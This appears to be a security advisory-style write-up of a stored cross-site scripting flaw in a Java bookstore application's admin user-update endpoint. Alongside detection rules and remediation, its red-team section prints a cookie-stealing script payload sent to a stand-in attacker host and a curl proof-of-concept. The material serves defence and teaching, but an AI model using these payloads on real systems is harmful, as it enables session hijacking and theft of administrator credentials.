CVE-2024-13197

Executive Summary

CVE-2024-13197 is a stored cross-site scripting (XSS) vulnerability in the Donglight bookstore电商书城系统说明 version 1.0.0, a Java-based e-commerce bookstore application. The flaw resides in the updateUser function within AdminUserControlle.java, allowing an authenticated administrator to inject arbitrary JavaScript into user profile fields. This injected script is then stored and executed in the browsers of other administrators or users who view the affected user data. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium) due to the requirement for authenticated access and user interaction. Public proof-of-concept (PoC) code is available, and no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but in a standalone Java application. The risk is limited to organizations that have deployed this specific bookstore system. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is initiated remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): Low (L) – The attacker must have a valid administrator account.
• User Interaction (UI): Required (R) – A victim must view the maliciously crafted user profile.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original authorization scope.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 4.8 (Medium)

Threat Level: Medium. Exploitation requires authenticated access, but the impact can include session hijacking, defacement, or phishing within the application context.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the updateUser function of the AdminUserControlle.java controller. The application fails to sanitize or encode user-supplied input when updating user profile fields (e.g., username, email, or other metadata). When an administrator updates a user profile with malicious JavaScript, the payload is stored in the database. Any subsequent request that renders that user's profile (e.g., viewing user list or editing a user) will execute the injected script in the context of the victim's browser.

Root Cause: Lack of output encoding and input validation in the updateUser endpoint. The application likely uses a template engine (e.g., JSP, Thymeleaf) that does not automatically escape HTML entities, or the developer explicitly disabled escaping.

Attack Flow:

1. Attacker logs in as an administrator.
2. Attacker navigates to the user management section and selects a user to edit.
3. Attacker injects a payload like <script>alert('XSS')</script> into a profile field (e.g., username).
4. The application stores the payload in the database without sanitization.
5. When another administrator views the user list or edits that user, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (AdminUserControlle.java):

@RequestMapping("/admin/user/update")
public String updateUser(User user) {
    userService.update(user);
    return "redirect:/admin/user/list";
}

The User object is directly bound from request parameters and persisted without any sanitization or encoding.

Patched Code (Hypothetical):

@RequestMapping("/admin/user/update")
public String updateUser(@Valid @ModelAttribute User user) {
    // Sanitize input using a library like OWASP Java HTML Sanitizer
    user.setUsername(HtmlSanitizer.sanitize(user.getUsername()));
    user.setEmail(HtmlSanitizer.sanitize(user.getEmail()));
    userService.update(user);
    return "redirect:/admin/user/list";
}

Additionally, output encoding must be applied in the view layer (e.g., using Thymeleaf's th:utext only when safe, or th:text for automatic escaping).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a running instance of Donglight bookstore v1.0.0.
• Valid administrator credentials.

Exploit Steps:

1. Log in as an administrator.
2. Navigate to the user management page (e.g., /admin/user/list).
3. Click "Edit" on any user.
4. In the "username" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the form.
6. When another administrator views the user list, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) using cURL:

curl -X POST http://target.com/admin/user/update \
  -c cookies.txt -b cookies.txt \
  -d "id=1&username=<script>alert(1)</script>&email=test@test.com"

Blue Team (Defensive)

Detection:

• Monitor for unusual patterns in user profile fields (e.g., <script>, onerror=, javascript:).
• Deploy a Web Application Firewall (WAF) with rules to block common XSS payloads.
• Use Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for requests to /admin/user/update containing HTML tags.
• Review database entries for user fields containing suspicious characters.

Mitigation:

• Apply input validation and output encoding (see Remediation section).
• Restrict admin access to trusted IPs and enforce multi-factor authentication.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from the application server.
  • Requests containing <script> tags in POST data to /admin/user/update.
• Host:
  • Database entries in the user table with fields containing HTML/JavaScript.
  • Unexpected JavaScript files or modified templates in the web root.
• Logs:
  • Application logs showing updateUser calls with suspicious input.
  • Web server logs with 200 responses to /admin/user/update followed by 404 to non-existent resources (e.g., /steal).

Detection Engineering

YARA Rule

rule CVE_2024_13197_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-13197 in Donglight bookstore"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13197"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13197 - Stored XSS in Donglight Bookstore AdminUserControlle
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS via the updateUser endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/user/update'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in user profiles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13197 Stored XSS Payload in POST to /admin/user/update"; flow:to_server,established; content:"POST"; http_method; content:"/admin/user/update"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not critical: Block access to /admin/user/update via WAF or reverse proxy.
2. Sanitize existing data: Scan the database for XSS payloads and remove them.
3. Apply input validation: Use a whitelist approach for user profile fields (e.g., allow only alphanumeric characters for usernames).

Long-Term Fix:

• Upgrade: Since no official patch exists, consider migrating to a different bookstore solution or forking the codebase to apply the fix.
• Implement Output Encoding: Use a template engine that auto-escapes (e.g., Thymeleaf with th:text).
• Use a Security Library: Integrate OWASP Java HTML Sanitizer or similar to sanitize all user input.

Compensating Controls:

• Deploy a WAF with XSS rules.
• Enforce Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'self'.
• Restrict admin access to trusted networks and require multi-factor authentication.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert